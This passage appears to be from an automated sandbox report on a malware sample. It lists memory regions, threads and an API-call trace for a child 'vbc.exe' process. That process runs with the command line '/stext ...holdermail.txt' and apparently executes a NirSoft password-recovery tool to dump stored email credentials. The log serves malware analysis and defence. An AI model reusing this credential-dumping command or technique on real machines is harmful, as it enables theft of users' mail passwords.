	        filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")

Region:
	              id = 1969
	        start_va = 0x140000
	          end_va = 0x141fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 1970
	        start_va = 0x7fefd340000
	          end_va = 0x7fefd37cfff
	     entry_point = 0x7fefd340000
	     region_type = mapped_file
	            name = "winsta.dll"
	        filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll")

Region:
	              id = 1971
	        start_va = 0x7fefc2e0000
	          end_va = 0x7fefc30bfff
	     entry_point = 0x7fefc2e0000
	     region_type = mapped_file
	            name = "powrprof.dll"
	        filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")

Region:
	              id = 1972
	        start_va = 0x7fefead0000
	          end_va = 0x7fefeca6fff
	     entry_point = 0x7fefead0000
	     region_type = mapped_file
	            name = "setupapi.dll"
	        filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll")


Thread:
	id = 146
	os_tid = 0x924


Thread:
	id = 147
	os_tid = 0x928


Thread:
	id = 148
	os_tid = 0x9bc


Thread:
	id = 149
	os_tid = 0x598


Thread:
	id = 150
	os_tid = 0x6f8


Thread:
	id = 151
	os_tid = 0xa94


Thread:
	id = 152
	os_tid = 0xab4


Thread:
	id = 153
	os_tid = 0xab0


Thread:
	id = 156
	os_tid = 0x5bc


Thread:
	id = 292
	os_tid = 0x760


Process:
	id = "9"
	image_name = "vbc.exe"
	filename = "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\vbc.exe"
	page_root = "0x25acf000"
	os_pid = "0x138"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "6"
	os_parent_pid = "0x140"
	cmd_line = "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe /stext \"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt\""
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "YKYD69Q\\aETAdzjz"
	os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ee00" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 1742
	        start_va = 0x10000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 1743
	        start_va = 0x30000
	          end_va = 0x31fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000030000"
	        filename = ""

Region:
	              id = 1744
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x40000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 1745
	        start_va = 0x50000
	          end_va = 0x8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000050000"
	        filename = ""

Region:
	              id = 1746
	        start_va = 0x90000
	          end_va = 0x18ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000090000"
	        filename = ""

Region:
	              id = 1747
	        start_va = 0x190000
	          end_va = 0x193fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000190000"
	        filename = ""

Region:
	              id = 1748
	        start_va = 0x400000
	          end_va = 0x51dfff
	     entry_point = 0x400000
	     region_type = mapped_file
	            name = "vbc.exe"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\vbc.exe")

Region:
	              id = 1749
	        start_va = 0x77450000
	          end_va = 0x775f8fff
	     entry_point = 0x77450000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 1750
	        start_va = 0x77630000
	          end_va = 0x777affff
	     entry_point = 0x77630000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")

Region:
	              id = 1751
	        start_va = 0x7efb0000
	          end_va = 0x7efd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efb0000"
	        filename = ""

Region:
	              id = 1752
	        start_va = 0x7efdb000
	          end_va = 0x7efddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efdb000"
	        filename = ""

Region:
	              id = 1753
	        start_va = 0x7efde000
	          end_va = 0x7efdefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efde000"
	        filename = ""

Region:
	              id = 1754
	        start_va = 0x7efdf000
	          end_va = 0x7efdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efdf000"
	        filename = ""

Region:
	              id = 1755
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1756
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 1757
	        start_va = 0x7fff0000
	          end_va = 0x7fffffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fff0000"
	        filename = ""

Region:
	              id = 1758
	        start_va = 0x1a0000
	          end_va = 0x1a0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001a0000"
	        filename = ""

Region:
	              id = 1759
	        start_va = 0x400000
	          end_va = 0x41afff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000400000"
	        filename = ""

Region:
	              id = 1760
	        start_va = 0x310000
	          end_va = 0x38ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000310000"
	        filename = ""

Region:
	              id = 1761
	        start_va = 0x74ac0000
	          end_va = 0x74ac7fff
	     entry_point = 0x74ac0000
	     region_type = mapped_file
	            name = "wow64cpu.dll"
	        filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll")

Region:
	              id = 1762
	        start_va = 0x74ad0000
	          end_va = 0x74b2bfff
	     entry_point = 0x74ad0000
	     region_type = mapped_file
	            name = "wow64win.dll"
	        filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll")

Region:
	              id = 1763
	        start_va = 0x74b30000
	          end_va = 0x74b6efff
	     entry_point = 0x74b30000
	     region_type = mapped_file
	            name = "wow64.dll"
	        filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll")

Region:
	              id = 1764
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 1765
	        start_va = 0x1b0000
	          end_va = 0x216fff
	     entry_point = 0x1b0000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 1766
	        start_va = 0x520000
	          end_va = 0x52ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000520000"
	        filename = ""

Region:
	              id = 1767
	        start_va = 0x580000
	          end_va = 0x67ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000580000"
	        filename = ""

Region:
	              id = 1768
	        start_va = 0x74d50000
	          end_va = 0x74dd3fff
	     entry_point = 0x74d50000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")

Region:
	              id = 1769
	        start_va = 0x75180000
	          end_va = 0x7518bfff
	     entry_point = 0x75180000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")

Region:
	              id = 1770
	        start_va = 0x75190000
	          end_va = 0x751effff
	     entry_point = 0x75190000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")

Region:
	              id = 1771
	        start_va = 0x75210000
	          end_va = 0x752fffff
	     entry_point = 0x75210000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")

Region:
	              id = 1772
	        start_va = 0x753d0000
	          end_va = 0x7545ffff
	     entry_point = 0x753d0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")

Region:
	              id = 1773
	        start_va = 0x75460000
	          end_va = 0x754dafff
	     entry_point = 0x75460000
	     region_type = mapped_file
	            name = "comdlg32.dll"
	        filename = "\\Windows\\SysWOW64\\comdlg32.dll" (normalized: "c:\\windows\\syswow64\\comdlg32.dll")

Region:
	              id = 1774
	        start_va = 0x756d0000
	          end_va = 0x75726fff
	     entry_point = 0x756d0000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")

Region:
	              id = 1775
	        start_va = 0x75730000
	          end_va = 0x7583ffff
	     entry_point = 0x75730000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")

Region:
	              id = 1776
	        start_va = 0x75850000
	          end_va = 0x75895fff
	     entry_point = 0x75850000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")

Region:
	              id = 1777
	        start_va = 0x759d0000
	          end_va = 0x75a6ffff
	     entry_point = 0x759d0000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")

Region:
	              id = 1778
	        start_va = 0x75b00000
	          end_va = 0x75b9cfff
	     entry_point = 0x75b00000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")

Region:
	              id = 1779
	        start_va = 0x75fb0000
	          end_va = 0x7610bfff
	     entry_point = 0x75fb0000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")

Region:
	              id = 1780
	        start_va = 0x76110000
	          end_va = 0x76d59fff
	     entry_point = 0x76110000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")

Region:
	              id = 1781
	        start_va = 0x76dc0000
	          end_va = 0x76ebffff
	     entry_point = 0x76dc0000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")

Region:
	              id = 1782
	        start_va = 0x76ec0000
	          end_va = 0x76ed8fff
	     entry_point = 0x76ec0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")

Region:
	              id = 1783
	        start_va = 0x76fa0000
	          end_va = 0x7704bfff
	     entry_point = 0x76fa0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")

Region:
	              id = 1784
	        start_va = 0x77230000
	          end_va = 0x77329fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000077230000"
	        filename = ""

Region:
	              id = 1785
	        start_va = 0x77330000
	          end_va = 0x7744efff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000077330000"
	        filename = ""

Region:
	              id = 1786
	        start_va = 0x77600000
	          end_va = 0x77609fff
	     entry_point = 0x77600000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")

Region:
	              id = 1787
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1788
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 1789
	        start_va = 0x680000
	          end_va = 0x807fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000680000"
	        filename = ""

Region:
	              id = 1790
	        start_va = 0x75ce0000
	          end_va = 0x75dabfff
	     entry_point = 0x75ce0000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")

Region:
	              id = 1791
	        start_va = 0x76d60000
	          end_va = 0x76dbffff
	     entry_point = 0x76d60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")

Region:
	              id = 1792
	        start_va = 0x20000
	          end_va = 0x20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000020000"
	        filename = ""

Region:
	              id = 1793
	        start_va = 0x30000
	          end_va = 0x30fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000030000"
	        filename = ""

Region:
	              id = 1794
	        start_va = 0x810000
	          end_va = 0x990fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000810000"
	        filename = ""

Region:
	              id = 1795
	        start_va = 0x9a0000
	          end_va = 0x1d9ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000009a0000"
	        filename = ""

Region:
	              id = 1796
	        start_va = 0x1f80000
	          end_va = 0x1f8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001f80000"
	        filename = ""

Region:
	              id = 1797
	        start_va = 0x420000
	          end_va = 0x51ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000420000"
	        filename = ""

Region:
	              id = 1798
	        start_va = 0x220000
	          end_va = 0x220fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000220000"
	        filename = ""

Region:
	              id = 1799
	        start_va = 0x1f90000
	          end_va = 0x225efff
	     entry_point = 0x1f90000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 1800
	        start_va = 0x73ba0000
	          end_va = 0x73bacfff
	     entry_point = 0x73ba0000
	     region_type = mapped_file
	            name = "pstorec.dll"
	        filename = "\\Windows\\SysWOW64\\pstorec.dll" (normalized: "c:\\windows\\syswow64\\pstorec.dll")

Region:
	              id = 1805
	        start_va = 0x73b70000
	          end_va = 0x73b83fff
	     entry_point = 0x73b70000
	     region_type = mapped_file
	            name = "atl.dll"
	        filename = "\\Windows\\SysWOW64\\atl.dll" (normalized: "c:\\windows\\syswow64\\atl.dll")

Region:
	              id = 1806
	        start_va = 0x230000
	          end_va = 0x26ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000230000"
	        filename = ""

Region:
	              id = 1807
	        start_va = 0x1da0000
	          end_va = 0x1e9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001da0000"
	        filename = ""

Region:
	              id = 1808
	        start_va = 0x770e0000
	          end_va = 0x771fcfff
	     entry_point = 0x770e0000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll")

Region:
	              id = 1809
	        start_va = 0x7efd8000
	          end_va = 0x7efdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efd8000"
	        filename = ""

Region:
	              id = 1810
	        start_va = 0x758b0000
	          end_va = 0x758bbfff
	     entry_point = 0x758b0000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll")

Region:
	              id = 1811
	        start_va = 0x770e0000
	          end_va = 0x771fcfff
	     entry_point = 0x770e0000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll")

Region:
	              id = 1812
	        start_va = 0x758b0000
	          end_va = 0x758bbfff
	     entry_point = 0x758b0000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll")


Thread:
	id = 158
	os_tid = 0x9b8

	[0088.781] GetModuleHandleA (lpModuleName=0x0) returned 0x400000
	[0088.781] __set_app_type (_Type=0x2) 
	[0088.781] __p__fmode () returned 0x770431f4
	[0088.781] __p__commode () returned 0x770431fc
	[0088.781] __getmainargs (in: _Argc=0x18ff5c, _Argv=0x18ff60, _Env=0x18ff64, _DoWildCard=0, _StartInfo=0x18ff68 | out: _Argc=0x18ff5c, _Argv=0x18ff60, _Env=0x18ff64) returned 0
	[0088.782] _onexit (_Func=0x411910) returned 0x411910
	[0088.782] _onexit (_Func=0x411921) returned 0x411921
	[0088.782] _onexit (_Func=0x411932) returned 0x411932
	[0088.782] _onexit (_Func=0x411973) returned 0x411973
	[0088.782] GetStartupInfoA (in: lpStartupInfo=0x18ff10 | out: lpStartupInfo=0x18ff10*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) 
	[0088.782] GetModuleHandleA (lpModuleName=0x0) returned 0x400000
	[0088.782] LoadLibraryA (lpLibFileName="comctl32.dll") returned 0x74d50000
	[0088.782] GetProcAddress (hModule=0x74d50000, lpProcName="InitCommonControlsEx") returned 0x74d56be6
	[0088.782] InitCommonControlsEx (picce=0x18faf0) returned 1
	[0088.784] FreeLibrary (hLibModule=0x74d50000) returned 1
	[0088.784] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x76110000
	[0088.784] GetProcAddress (hModule=0x76110000, lpProcName="SHGetSpecialFolderPathA") returned 0x7635fb26
	[0088.784] _mbscpy (in: param_1=0x522e83, param_2=0x412f90 | out: param_1=0x522e83) returned 0x522e83
	[0088.784] _mbscpy (in: param_1=0x5230c7, param_2=0x412f90 | out: param_1=0x5230c7) returned 0x5230c7
	[0088.784] _mbscpy (in: param_1=0x18facc, param_2=0x413478 | out: param_1=0x18facc) returned 0x18facc
	[0088.784] CreateFontIndirectA (lplf=0x18fab0) returned 0x90a07bd
	[0088.784] strncat (in: _Dest="", _Source="Näþ\x18", _Count=0x1 | out: _Dest="N") returned="N"
	[0088.784] strncat (in: _Dest="N", _Source="iäþ\x18", _Count=0x1 | out: _Dest="Ni") returned="Ni"
	[0088.785] strncat (in: _Dest="Ni", _Source="räþ\x18", _Count=0x1 | out: _Dest="Nir") returned="Nir"
	[0088.785] strncat (in: _Dest="Nir", _Source="Säþ\x18", _Count=0x1 | out: _Dest="NirS") returned="NirS"
	[0088.785] strncat (in: _Dest="NirS", _Source="oäþ\x18", _Count=0x1 | out: _Dest="NirSo") returned="NirSo"
	[0088.785] strncat (in: _Dest="NirSo", _Source="fäþ\x18", _Count=0x1 | out: _Dest="NirSof") returned="NirSof"
	[0088.785] strncat (in: _Dest="NirSof", _Source="täþ\x18", _Count=0x1 | out: _Dest="NirSoft") returned="NirSoft"
	[0088.785] strncat (in: _Dest="NirSoft", _Source=" äþ\x18", _Count=0x1 | out: _Dest="NirSoft ") returned="NirSoft "
	[0088.785] strncat (in: _Dest="NirSoft ", _Source="Fäþ\x18", _Count=0x1 | out: _Dest="NirSoft F") returned="NirSoft F"
	[0088.785] strncat (in: _Dest="NirSoft F", _Source="räþ\x18", _Count=0x1 | out: _Dest="NirSoft Fr") returned="NirSoft Fr"
	[0088.785] strncat (in: _Dest="NirSoft Fr", _Source="eäþ\x18", _Count=0x1 | out: _Dest="NirSoft Fre") returned="NirSoft Fre"
	[0088.785] strncat (in: _Dest="NirSoft Fre", _Source="eäþ\x18", _Count=0x1 | out: _Dest="NirSoft Free") returned="NirSoft Free"
	[0088.785] strncat (in: _Dest="NirSoft Free", _Source="wäþ\x18", _Count=0x1 | out: _Dest="NirSoft Freew") returned="NirSoft Freew"
	[0088.785] strncat (in: _Dest="NirSoft Freew", _Source="aäþ\x18", _Count=0x1 | out: _Dest="NirSoft Freewa") returned="NirSoft Freewa"
	[0088.785] strncat (in: _Dest="NirSoft Freewa", _Source="räþ\x18", _Count=0x1 | out: _Dest="NirSoft Freewar") returned="NirSoft Freewar"
	[0088.785] strncat (in: _Dest="NirSoft Freewar", _Source="eäþ\x18", _Count=0x1 | out: _Dest="NirSoft Freeware") returned="NirSoft Freeware"
	[0088.785] strncat (in: _Dest="NirSoft Freeware", _Source=".äþ\x18", _Count=0x1 | out: _Dest="NirSoft Freeware.") returned="NirSoft Freeware."
	[0088.785] strncat (in: _Dest="NirSoft Freeware.", _Source=" äþ\x18", _Count=0x1 | out: _Dest="NirSoft Freeware. ") returned="NirSoft Freeware. "
	[0088.785] strncat (in: _Dest="NirSoft Freeware. ", _Source=" äþ\x18", _Count=0x1 | out: _Dest="NirSoft Freeware.  ") returned="NirSoft Freeware.  "
	[0088.785] strncat (in: _Dest="NirSoft Freeware.  ", _Source="häþ\x18", _Count=0x1 | out: _Dest="NirSoft Freeware.  h") returned="NirSoft Freeware.  h"
	[0088.785] strncat (in: _Dest="NirSoft Freeware.  h", _Source="täþ\x18", _Count=0x1 | out: _Dest="NirSoft Freeware.  ht") returned="NirSoft Freeware.  ht"
	[0088.785] strncat (in: _Dest="NirSoft Freeware.  ht", _Source="täþ\x18", _Count=0x1 | out: _Dest="NirSoft Freeware.  htt") returned="NirSoft Freeware.  htt"
	[0088.785] strncat (in: _Dest="NirSoft Freeware.  htt", _Source="päþ\x18", _Count=0x1 | out: _Dest="NirSoft Freeware.  http") returned="NirSoft Freeware.  http"
	[0088.785] strncat (in: _Dest="NirSoft Freeware.  http", _Source=":äþ\x18", _Count=0x1 | out: _Dest="NirSoft Freeware.  http:") returned="NirSoft Freeware.  http:"
	[0088.785] strncat (in: _Dest="NirSoft Freeware.  http:", _Source="/äþ\x18", _Count=0x1 | out: _Dest="NirSoft Freeware.  http:/") returned="NirSoft Freeware.  http:/"
	[0088.785] strncat (in: _Dest="NirSoft Freeware.  http:/", _Source="/äþ\x18", _Count=0x1 | out: _Dest="NirSoft Freeware.  http://") returned="NirSoft Freeware.  http://"
	[0088.785] strncat (in: _Dest="NirSoft Freeware.  http://", _Source="wäþ\x18", _Count=0x1 | out: _Dest="NirSoft Freeware.  http://w") returned="NirSoft Freeware.  http://w"
	[0088.785] strncat (in: _Dest="NirSoft Freeware.  http://w", _Source="wäþ\x18", _Count=0x1 | out: _Dest="NirSoft Freeware.  http://ww") returned="NirSoft Freeware.  http://ww"
	[0088.785] strncat (in: _Dest="NirSoft Freeware.  http://ww", _Source="wäþ\x18", _Count=0x1 | out: _Dest="NirSoft Freeware.  http://www") returned="NirSoft Freeware.  http://www"
	[0088.785] strncat (in: _Dest="NirSoft Freeware.  http://www", _Source=".äþ\x18", _Count=0x1 | out: _Dest="NirSoft Freeware.  http://www.") returned="NirSoft Freeware.  http://www."
	[0088.785] strncat (in: _Dest="NirSoft Freeware.  http://www.", _Source="näþ\x18", _Count=0x1 | out: _Dest="NirSoft Freeware.  http://www.n") returned="NirSoft Freeware.  http://www.n"
	[0088.785] strncat (in: _Dest="NirSoft Freeware.  http://www.n", _Source="iäþ\x18", _Count=0x1 | out: _Dest="NirSoft Freeware.  http://www.ni") returned="NirSoft Freeware.  http://www.ni"
	[0088.785] strncat (in: _Dest="NirSoft Freeware.  http://www.ni", _Source="räþ\x18", _Count=0x1 | out: _Dest="NirSoft Freeware.  http://www.nir") returned="NirSoft Freeware.  http://www.nir"
	[0088.785] strncat (in: _Dest="NirSoft Freeware.  http://www.nir", _Source="säþ\x18", _Count=0x1 | out: _Dest="NirSoft Freeware.  http://www.nirs") returned="NirSoft Freeware.  http://www.nirs"
	[0088.785] strncat (in: _Dest="NirSoft Freeware.  http://www.nirs", _Source="oäþ\x18", _Count=0x1 | out: _Dest="NirSoft Freeware.  http://www.nirso") returned="NirSoft Freeware.  http://www.nirso"
	[0088.785] strncat (in: _Dest="NirSoft Freeware.  http://www.nirso", _Source="fäþ\x18", _Count=0x1 | out: _Dest="NirSoft Freeware.  http://www.nirsof") returned="NirSoft Freeware.  http://www.nirsof"
	[0088.785] strncat (in: _Dest="NirSoft Freeware.  http://www.nirsof", _Source="täþ\x18", _Count=0x1 | out: _Dest="NirSoft Freeware.  http://www.nirsoft") returned="NirSoft Freeware.  http://www.nirsoft"
	[0088.785] strncat (in: _Dest="NirSoft Freeware.  http://www.nirsoft", _Source=".äþ\x18", _Count=0x1 | out: _Dest="NirSoft Freeware.  http://www.nirsoft.") returned="NirSoft Freeware.  http://www.nirsoft."
	[0088.785] strncat (in: _Dest="NirSoft Freeware.  http://www.nirsoft.", _Source="näþ\x18", _Count=0x1 | out: _Dest="NirSoft Freeware.  http://www.nirsoft.n") returned="NirSoft Freeware.  http://www.nirsoft.n"
	[0088.785] strncat (in: _Dest="NirSoft Freeware.  http://www.nirsoft.n", _Source="eäþ\x18", _Count=0x1 | out: _Dest="NirSoft Freeware.  http://www.nirsoft.ne") returned="NirSoft Freeware.  http://www.nirsoft.ne"
	[0088.785] strncat (in: _Dest="NirSoft Freeware.  http://www.nirsoft.ne", _Source="täþ\x18", _Count=0x1 | out: _Dest="NirSoft Freeware.  http://www.nirsoft.net") returned="NirSoft Freeware.  http://www.nirsoft.net"
	[0088.785] LoadIconA (hInstance=0x400000, lpIconName=0x65) returned 0x500ef
	[0088.786] _mbscpy (in: param_1=0x18fb64, param_2=0x413468 | out: param_1=0x18fb64) returned 0x18fb64
	[0088.786] strlen (_Str="/stext") returned 0x6
	[0088.786] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt") returned 0x33
	[0088.786] _strcmpi (_Str1="/savelangfile", _Str2="/stext") returned -1
	[0088.786] _strcmpi (_Str1="/savelangfile", _Str2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt") returned -1
	[0088.786] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x18f9f0, nSize=0x104 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\vbc.exe")) returned 0x35
	[0088.786] _mbscat (in: param_1=0x18f9f0, param_2=0x4131b4 | out: param_1=0x18f9f0) returned 0x18f9f0
	[0088.787] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc_lng.ini" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\vbc_lng.ini")) returned 0xffffffff
	[0088.787] _strcmpi (_Str1="/deleteregkey", _Str2="/stext") returned -1
	[0088.787] _strcmpi (_Str1="/deleteregkey", _Str2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt") returned -1
	[0088.788] EnumResourceTypesA (hModule=0x400000, lpEnumFunc=0x40ed91, lParam=0x0) returned 1
	[0088.788] EnumResourceNamesA (hModule=0x400000, lpType=0x1, lpEnumFunc=0x40ed0b, lParam=0x0) returned 1
	[0088.788] FindResourceA (hModule=0x400000, lpName=0x1, lpType=0x1) returned 0x4184d8
	[0088.788] SizeofResource (hModule=0x400000, hResInfo=0x4184d8) returned 0x134
	[0088.788] LoadResource (hModule=0x400000, hResInfo=0x4184d8) returned 0x4186b8
	[0088.788] LockResource (hResData=0x4186b8) returned 0x4186b8
	[0088.788] EnumResourceNamesA (hModule=0x400000, lpType=0x2, lpEnumFunc=0x40ed0b, lParam=0x0) returned 1
	[0088.788] FindResourceA (hModule=0x400000, lpName=0x68, lpType=0x2) returned 0x4184e8
